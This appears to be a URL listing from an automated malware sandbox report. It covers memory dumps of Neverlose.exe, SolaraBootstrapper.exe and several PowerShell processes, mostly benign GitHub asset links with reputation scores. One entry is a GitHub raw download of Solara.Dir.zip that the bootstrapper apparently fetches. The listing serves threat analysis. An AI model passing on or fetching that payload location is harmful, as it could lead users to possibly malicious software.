https://github.githubassets.com/assets/vendors-node_modules_clsx_dist_clsx_m_js-node_modules_primer_	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/devsecops	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/customer-stories	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/readme	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/element-registry-ee3b4c180fee.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features/code-review	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features/issues	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://user-images.githubusercontent.com/	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-logo-55c5b9a1fe52.png	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://skills.github.com	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/industries/manufacturing	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/quivings/Solara/raw/main/Files/Solara.Dir.zip"	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_dimmed-aa16bfa90fb8.css	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.github.com/_private/browser/stats	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1705141692.0000000005061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1708078820.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1873584903.000001B390072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2035739099.00000243405D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2242695799.000002DC7232F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2505980870.00000204A9AAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_gith	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/solutions/devops	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/wp-runtime-9a56ebf061bf.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1705141692.0000000005061000.00000004.00000800.00020000.00000000.sdmp, Solara.exe, 00000004.00000002.2914277285.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1819250516.000001B380001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1933016695.0000024330561000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2103914349.000002DC622C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2333807715.0000020499A41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/primer-9f7b2e63c497.css	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/te	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.2333807715.0000020499C69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_e	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1705141692.00000000051B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1819250516.000001B380229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1933016695.0000024330789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2103914349.000002DC624E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2333807715.0000020499C69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.2333807715.0000020499C69000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000001.00000002.1705141692.000000000584A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1705141692.00000000059BE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.mic	powershell.exe, 0000000D.00000002.2060250567.0000024348BC5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000013.00000002.2505980870.00000204A9AAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.githubassets.com/assets/github-octocat-13c86b8b336d.png	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.github.com/get-started/accessibility/keyboard-shortcuts	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-a2009221d1	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/features/packages	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.2333807715.0000020499C69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/ui_packages_updatable-content_upd	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://resources.github.com/learn/pathways	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/trending	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1705141692.00000000051B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1819250516.000001B380229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1933016695.0000024330789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2103914349.000002DC624E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2333807715.0000020499C69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/solutions/industries/healthcare	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/github-elements-221b0e7d77a3.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F2A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/enterprise/advanced-security	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/	Neverlose.exe, 00000000.00000002.1727100048.0000000001008000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.github.com/_private/browser/errors	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/features/discussions	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/topics	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-b0	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/enterprise/startups	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://partner.github.com	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/fluidicon.png	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/favicons/favicon.png	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/openU	Neverlose.exe, 00000000.00000002.1727100048.0000000001008000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000013.00000002.2505980870.00000204A9AAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.mic)	powershell.exe, 0000000D.00000002.2060250567.0000024348C25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/light_tritanopia-fe4137b54b26.css	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
